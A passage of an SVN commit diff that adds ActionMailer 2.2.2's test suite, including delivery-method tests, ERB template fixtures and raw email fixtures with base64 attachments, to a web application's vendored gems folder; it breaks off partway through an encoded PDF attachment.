+  gem gem_name.to_s, version
+  require gem_name.to_s
+  yield
+rescue LoadError
+  $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
+end
+
+# Wrap tests that use Mocha and skip if unavailable.
+unless defined? uses_mocha
+  def uses_mocha(test_name, &block)
+    uses_gem('mocha', test_name, '>= 0.5.5', &block)
+  end
+end
+
+def set_delivery_method(delivery_method)
+  @old_delivery_method = ActionMailer::Base.delivery_method
+  ActionMailer::Base.delivery_method = delivery_method
+end
+
+def restore_delivery_method
+  ActionMailer::Base.delivery_method = @old_delivery_method
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/delivery_method_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/delivery_method_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/delivery_method_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,51 @@
+require 'abstract_unit'
+
+class DefaultDeliveryMethodMailer < ActionMailer::Base
+end
+
+class NonDefaultDeliveryMethodMailer < ActionMailer::Base
+  self.delivery_method = :sendmail
+end
+
+class ActionMailerBase_delivery_method_Test < Test::Unit::TestCase
+  def setup
+    set_delivery_method :smtp
+  end
+  
+  def teardown
+    restore_delivery_method
+  end
+
+  def test_should_be_the_default_smtp
+    assert_equal :smtp, ActionMailer::Base.delivery_method
+  end
+end
+
+class DefaultDeliveryMethodMailer_delivery_method_Test < Test::Unit::TestCase
+  def setup
+    set_delivery_method :smtp
+  end
+  
+  def teardown
+    restore_delivery_method
+  end
+  
+  def test_should_be_the_default_smtp
+    assert_equal :smtp, DefaultDeliveryMethodMailer.delivery_method
+  end
+end
+
+class NonDefaultDeliveryMethodMailer_delivery_method_Test < Test::Unit::TestCase
+  def setup
+    set_delivery_method :smtp
+  end
+  
+  def teardown
+    restore_delivery_method
+  end
+
+  def test_should_be_the_set_delivery_method
+    assert_equal :sendmail, NonDefaultDeliveryMethodMailer.delivery_method
+  end
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/auto_layout_mailer/hello.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/auto_layout_mailer/hello.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/auto_layout_mailer/hello.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Inside
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/explicit_layout_mailer/logout.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/explicit_layout_mailer/logout.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/explicit_layout_mailer/logout.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+You logged out
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/explicit_layout_mailer/signup.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/explicit_layout_mailer/signup.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/explicit_layout_mailer/signup.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+We do not spam
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/first_mailer/share.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/first_mailer/share.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/first_mailer/share.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+first mail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_example_helper.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_example_helper.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_example_helper.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+So, <%= example_format(@text) %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_helper.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_helper.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_helper.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello, <%= person_name %>. Thanks for registering!

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_helper_method.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_helper_method.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_helper_method.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+This message brought to you by <%= name_of_the_mailer_class %>.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_mail_helper.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_mail_helper.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer/use_mail_helper.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+From "Romeo and Juliet":
+
+<%= block_format @text %>
+
+Good ol' Shakespeare.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helpers/example_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helpers/example_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helpers/example_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+module ExampleHelper
+  def example_format(text)
+    "<em><strong><small>#{text}</small></strong></em>"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/layouts/auto_layout_mailer.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/layouts/auto_layout_mailer.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/layouts/auto_layout_mailer.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hello from layout <%= yield %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/layouts/spam.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/layouts/spam.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/layouts/spam.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Spammer layout <%= yield %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/path.with.dots/funky_path_mailer/multipart_with_template_path_with_dots.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/path.with.dots/funky_path_mailer/multipart_with_template_path_with_dots.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/path.with.dots/funky_path_mailer/multipart_with_template_path_with_dots.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Have a lovely picture, from me. Enjoy!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+From jamis_buck at byu.edu Mon May  2 16:07:05 2005
+Mime-Version: 1.0 (Apple Message framework v622)
+Content-Transfer-Encoding: base64
+Message-Id: <d3b8cf8e49f04480850c28713a1f473e at 37signals.com>
+Content-Type: text/plain;
+  charset=EUC-KR;
+  format=flowed
+To: willard15georgina at jamis.backpackit.com
+From: Jamis Buck <jamis at 37signals.com>
+Subject: =?EUC-KR?Q?NOTE:_=C7=D1=B1=B9=B8=BB=B7=CE_=C7=CF=B4=C2_=B0=CD?=
+Date: Mon, 2 May 2005 16:07:05 -0600
+
+tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
+wLogSmFtaXPA1LTPtNku

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email10
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email10	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email10	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+Return-Path: <xxx at xxxx.xxx>
+Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
+Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
+Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx at Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
+Date: Tue, 10 May 2005 15:27:03 -0500
+From: xxx at xxxx.xxx
+Sender: xxx at xxxx.xxx
+To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Message-Id: <xxx at xxxx.xxx>
+X-Original-To: xxxxxxxxxxx at xxxx.xxxx.xxx
+Delivered-To: xxx at xxxx.xxx
+Importance: normal
+Content-Type: text/plain; charset=X-UNKNOWN
+
+Test test. Hi. Waving. m
+
+----------------------------------------------------------------
+Sent via Bell Mobility's Text Messaging service. 
+Envoyé par le service de messagerie texte de Bell Mobilité.
+----------------------------------------------------------------

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email12
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email12	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email12	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+Mime-Version: 1.0 (Apple Message framework v730)
+Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
+Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012 at example.com>
+From: foo at example.com
+Subject: testing
+Date: Mon, 6 Jun 2005 22:21:22 +0200
+To: blah at example.com
+
+
+--Apple-Mail-13-196941151
+Content-Transfer-Encoding: quoted-printable
+Content-Type: text/plain;
+	charset=ISO-8859-1;
+	delsp=yes;
+	format=flowed
+
+This is the first part.
+
+--Apple-Mail-13-196941151
+Content-Type: image/jpeg
+Content-Transfer-Encoding: base64
+Content-Location: Photo25.jpg
+Content-ID: <qbFGyPQAS8>
+Content-Disposition: inline
+
+jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
+ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
+QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
+gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
+
+--Apple-Mail-13-196941151--
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email13
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email13	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email13	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+Mime-Version: 1.0 (Apple Message framework v730)
+Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
+Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012 at example.com>
+From: foo at example.com
+Subject: testing
+Date: Mon, 6 Jun 2005 22:21:22 +0200
+To: blah at example.com
+
+
+--Apple-Mail-13-196941151
+Content-Transfer-Encoding: quoted-printable
+Content-Type: text/plain;
+	charset=ISO-8859-1;
+	delsp=yes;
+	format=flowed
+
+This is the first part.
+
+--Apple-Mail-13-196941151
+Content-Type: text/x-ruby-script; name="hello.rb"
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment;
+	filename="api.rb"
+
+puts "Hello, world!"
+gets
+
+--Apple-Mail-13-196941151--
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email2
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email2	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email2	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,114 @@
+From xxxxxxxxx.xxxxxxx at gmail.com Sun May  8 19:07:09 2005
+Return-Path: <xxxxxxxxx.xxxxxxx at gmail.com>
+X-Original-To: xxxxx at xxxxx.xxxxxxxxx.com
+Delivered-To: xxxxx at xxxxx.xxxxxxxxx.com
+Received: from localhost (localhost [127.0.0.1])
+	by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 06C9DA98D
+	for <xxxxx at xxxxx.xxxxxxxxx.com>; Sun,  8 May 2005 19:09:13 +0000 (GMT)
+Received: from xxxxx.xxxxxxxxx.com ([127.0.0.1])
+ by localhost (xxxxx.xxxxxxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
+ with LMTP id 88783-08 for <xxxxx at xxxxx.xxxxxxxxx.com>;
+ Sun,  8 May 2005 19:09:12 +0000 (GMT)
+Received: from xxxxxxx.xxxxxxxxx.com (xxxxxxx.xxxxxxxxx.com [69.36.39.150])
+	by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 10D8BA960
+	for <xxxxx at xxxxxxxxx.org>; Sun,  8 May 2005 19:09:12 +0000 (GMT)
+Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.199])
+	by xxxxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 9EBC4148EAB
+	for <xxxxx at xxxxxxxxx.com>; Sun,  8 May 2005 14:09:11 -0500 (CDT)
+Received: by zproxy.gmail.com with SMTP id 13so1233405nzp
+        for <xxxxx at xxxxxxxxx.com>; Sun, 08 May 2005 12:09:11 -0700 (PDT)
+DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
+        s=beta; d=gmail.com;
+        h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references;
+        b=cid1mzGEFa3gtRa06oSrrEYfKca2CTKu9sLMkWxjbvCsWMtp9RGEILjUz0L5RySdH5iO661LyNUoHRFQIa57bylAbXM3g2DTEIIKmuASDG3x3rIQ4sHAKpNxP7Pul+mgTaOKBv+spcH7af++QEJ36gHFXD2O/kx9RePs3JNf/K8=
+Received: by 10.36.10.16 with SMTP id 16mr1012493nzj;
+        Sun, 08 May 2005 12:09:11 -0700 (PDT)
+Received: by 10.36.5.10 with HTTP; Sun, 8 May 2005 12:09:11 -0700 (PDT)
+Message-ID: <e85734b90505081209eaaa17b at mail.gmail.com>
+Date: Sun, 8 May 2005 14:09:11 -0500
+From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx at gmail.com>
+Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx at gmail.com>
+To: xxxxx xxxx <xxxxx at xxxxxxxxx.com>
+Subject: Fwd: Signed email causes file attachments
+In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13 at mac.com>
+Mime-Version: 1.0
+Content-Type: multipart/mixed; 
+	boundary="----=_Part_5028_7368284.1115579351471"
+References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13 at mac.com>
+
+------=_Part_5028_7368284.1115579351471
+Content-Type: text/plain; charset=ISO-8859-1
+Content-Transfer-Encoding: quoted-printable
+Content-Disposition: inline
+
+We should not include these files or vcards as attachments.
+
+---------- Forwarded message ----------
+From: xxxxx xxxxxx <xxxxxxxx at xxx.com>
+Date: May 8, 2005 1:17 PM
+Subject: Signed email causes file attachments
+To: xxxxxxx at xxxxxxxxxx.com
+
+
+Hi,
+
+Just started to use my xxxxxxxx account (to set-up a GTD system,
+natch) and noticed that when I send content via email the signature/
+certificate from my email account gets added as a file (e.g.
+"smime.p7s").
+
+Obviously I can uncheck the signature option in the Mail compose
+window but how often will I remember to do that?
+
+Is there any way these kind of files could be ignored, e.g. via some
+sort of exclusions list?
+
+------=_Part_5028_7368284.1115579351471
+Content-Type: application/pkcs7-signature; name=smime.p7s
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment; filename="smime.p7s"
+
+MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
+ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
+d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
+YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
+ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
+7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
+o8xS3A0a1LXealcmlEbJibmKkEaoXci3MhryLgpaa+Kk/sH02SNatDO1vS28bPsibZpcc6deFrla
+hSYnL+PW54mDTGHIcCN2fbx/Y6qspzqmtKaXrv75NBtuy9cB6KzU4j2xXbTkAwz3pRSghJJaAwdp
++yIivAD3vr0kJE3p+Ez34HMh33EXEpFoWcN+MCEQZD9WnmFViMrvfvMXLGVFQfAAcC060eGFSRJ1
+ZQ9UVQIDAQABoy0wKzAbBgNVHREEFDASgRBzbWhhdW5jaEBtYWMuY29tMAwGA1UdEwEB/wQCMAAw
+DQYJKoZIhvcNAQEEBQADgYEAQMrg1n2pXVWteP7BBj+Pk3UfYtbuHb42uHcLJjfjnRlH7AxnSwrd
+L3HED205w3Cq8T7tzVxIjRRLO/ljq0GedSCFBky7eYo1PrXhztGHCTSBhsiWdiyLWxKlOxGAwJc/
+lMMnwqLOdrQcoF/YgbjeaUFOQbUh94w9VDNpWZYCZwcwggM/MIICqKADAgECAgENMA0GCSqGSIb3
+DQEBBQUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlD
+YXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0
+aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwg
+Q0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDMwNzE3
+MDAwMDAwWhcNMTMwNzE2MjM1OTU5WjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENv
+bnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElz
+c3VpbmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMSmPFVzVftOucqZWh5owHUEcJ3f
+6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow1wJjWiyJFXCO3cnwK4Vaqj9xVsuvPAsH5/EfkTYk
+KhPPK9Xzgnc9A74r/rsYPge/QIACZNenprufZdHFKlSFD0gEf6e20TxhBEAeZBlyYLf7AgMBAAGj
+gZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsLnRo
+YXd0ZS5jb20vVGhhd3RlUGVyc29uYWxGcmVlbWFpbENBLmNybDALBgNVHQ8EBAMCAQYwKQYDVR0R
+BCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDItMTM4MA0GCSqGSIb3DQEBBQUAA4GBAEiM
+0VCD6gsuzA2jZqxnD3+vrL7CF6FDlpSdf0whuPg2H6otnzYvwPQcUCCTcDz9reFhYsPZOhl+hLGZ
+GwDFGguCdJ4lUJRix9sncVcljd2pnDmOjCBPZV+V2vf3h9bGCE6u9uo05RAaWzVNd+NWIXiC3CEZ
+Nd4ksdMdRv9dX2VPMYIC5zCCAuMCAQEwaTBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3Rl
+IENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWls
+IElzc3VpbmcgQ0ECAw5c+TAJBgUrDgMCGgUAoIIBUzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcB
+MBwGCSqGSIb3DQEJBTEPFw0wNTA1MDgxODE3NDZaMCMGCSqGSIb3DQEJBDEWBBQSkG9j6+hB0pKp
+fV9tCi/iP59sNTB4BgkrBgEEAYI3EAQxazBpMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3
+dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1h
+aWwgSXNzdWluZyBDQQIDDlz5MHoGCyqGSIb3DQEJEAILMWugaTBiMQswCQYDVQQGEwJaQTElMCMG
+A1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNv
+bmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECAw5c+TANBgkqhkiG9w0BAQEFAASCAQAm1GeF7dWfMvrW
+8yMPjkhE+R8D1DsiCoWSCp+5gAQm7lcK7V3KrZh5howfpI3TmCZUbbaMxOH+7aKRKpFemxoBY5Q8
+rnCkbpg/++/+MI01T69hF/rgMmrGcrv2fIYy8EaARLG0xUVFSZHSP+NQSYz0TTmh4cAESHMzY3JA
+nHOoUkuPyl8RXrimY1zn0lceMXlweZRouiPGuPNl1hQKw8P+GhOC5oLlM71UtStnrlk3P9gqX5v7
+Tj7Hx057oVfY8FMevjxGwU3EK5TczHezHbWWgTyum9l2ZQbUQsDJxSniD3BM46C1VcbDLPaotAZ0
+fTYLZizQfm5hcWEbfYVzkSzLAAAAAAAA
+------=_Part_5028_7368284.1115579351471--
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email3
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email3	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email3	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,70 @@
+From xxxx at xxxx.com Tue May 10 11:28:07 2005
+Return-Path: <xxxx at xxxx.com>
+X-Original-To: xxxx at xxxx.com
+Delivered-To: xxxx at xxxx.com
+Received: from localhost (localhost [127.0.0.1])
+	by xxx.xxxxx.com (Postfix) with ESMTP id 50FD3A96F
+	for <xxxx at xxxx.com>; Tue, 10 May 2005 17:26:50 +0000 (GMT)
+Received: from xxx.xxxxx.com ([127.0.0.1])
+ by localhost (xxx.xxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
+ with LMTP id 70060-03 for <xxxx at xxxx.com>;
+ Tue, 10 May 2005 17:26:49 +0000 (GMT)
+Received: from xxx.xxxxx.com (xxx.xxxxx.com [69.36.39.150])
+	by xxx.xxxxx.com (Postfix) with ESMTP id 8B957A94B
+	for <xxxx at xxxx.com>; Tue, 10 May 2005 17:26:48 +0000 (GMT)
+Received: from xxx.xxxxx.com (xxx.xxxxx.com [64.233.184.203])
+	by xxx.xxxxx.com (Postfix) with ESMTP id 9972514824C
+	for <xxxx at xxxx.com>; Tue, 10 May 2005 12:26:40 -0500 (CDT)
+Received: by xxx.xxxxx.com with SMTP id 68so1694448wri
+        for <xxxx at xxxx.com>; Tue, 10 May 2005 10:26:40 -0700 (PDT)
+DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
+        s=beta; d=xxxxx.com;
+        h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type;
+        b=g8ZO5ttS6GPEMAz9WxrRk9+9IXBUfQIYsZLL6T88+ECbsXqGIgfGtzJJFn6o9CE3/HMrrIGkN5AisxVFTGXWxWci5YA/7PTVWwPOhJff5BRYQDVNgRKqMl/SMttNrrRElsGJjnD1UyQ/5kQmcBxq2PuZI5Zc47u6CILcuoBcM+A=
+Received: by 10.54.96.19 with SMTP id t19mr621017wrb;
+        Tue, 10 May 2005 10:26:39 -0700 (PDT)
+Received: by 10.54.110.5 with HTTP; Tue, 10 May 2005 10:26:39 -0700 (PDT)
+Message-ID: <xxxx at xxxx.com>
+Date: Tue, 10 May 2005 11:26:39 -0600
+From: Test Tester <xxxx at xxxx.com>
+Reply-To: Test Tester <xxxx at xxxx.com>
+To: xxxx at xxxx.com, xxxx at xxxx.com
+Subject: Another PDF
+Mime-Version: 1.0
+Content-Type: multipart/mixed; 
+	boundary="----=_Part_2192_32400445.1115745999735"
+X-Virus-Scanned: amavisd-new at textdrive.com
+
+------=_Part_2192_32400445.1115745999735
+Content-Type: text/plain; charset=ISO-8859-1
+Content-Transfer-Encoding: quoted-printable
+Content-Disposition: inline
+
+Just attaching another PDF, here, to see what the message looks like,
+and to see if I can figure out what is going wrong here.
+
+------=_Part_2192_32400445.1115745999735
+Content-Type: application/pdf; name="broken.pdf"
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment; filename="broken.pdf"
+
+JVBERi0xLjQNCiXk9tzfDQoxIDAgb2JqDQo8PCAvTGVuZ3RoIDIgMCBSDQogICAvRmlsdGVyIC9G
+bGF0ZURlY29kZQ0KPj4NCnN0cmVhbQ0KeJy9Wt2KJbkNvm/od6jrhZxYln9hWEh2p+8HBvICySaE
+ycLuTV4/1ifJ9qnq09NpSBimu76yLUuy/qzqcPz7+em3Ixx/CDc6CsXxs3b5+fvfjr/8cPz6/BRu
+rbfAx/n3739/fuJylJ5u5fjX81OuDr4deK4Bz3z/aDP+8fz0yw8g0Ofq7ktr1Mn+u28rvhy/jVeD
+QSa+9YNKHP/pxjvDNfVAx/m3MFz54FhvTbaseaxiDoN2LeMVMw+yA7RbHSCDzxZuaYB2E1Yay7QU
+x89vz0+tyFDKMlAHK5yqLmnjF+c4RjEiQIUeKwblXMe+AsZjN1J5yGQL5DHpDHksurM81rF6PKab
+gK6zAarIDzIiUY23rJsN9iorAE816aIu6lsgAdQFsuhhkHOUFgVjp2GjMqSewITXNQ27jrMeamkg
+1rPI3iLWG2CIaSBB+V1245YVRICGbbpYKHc2USFDl6M09acQVQYhlwIrkBNLISvXhGlF1wi5FHCw
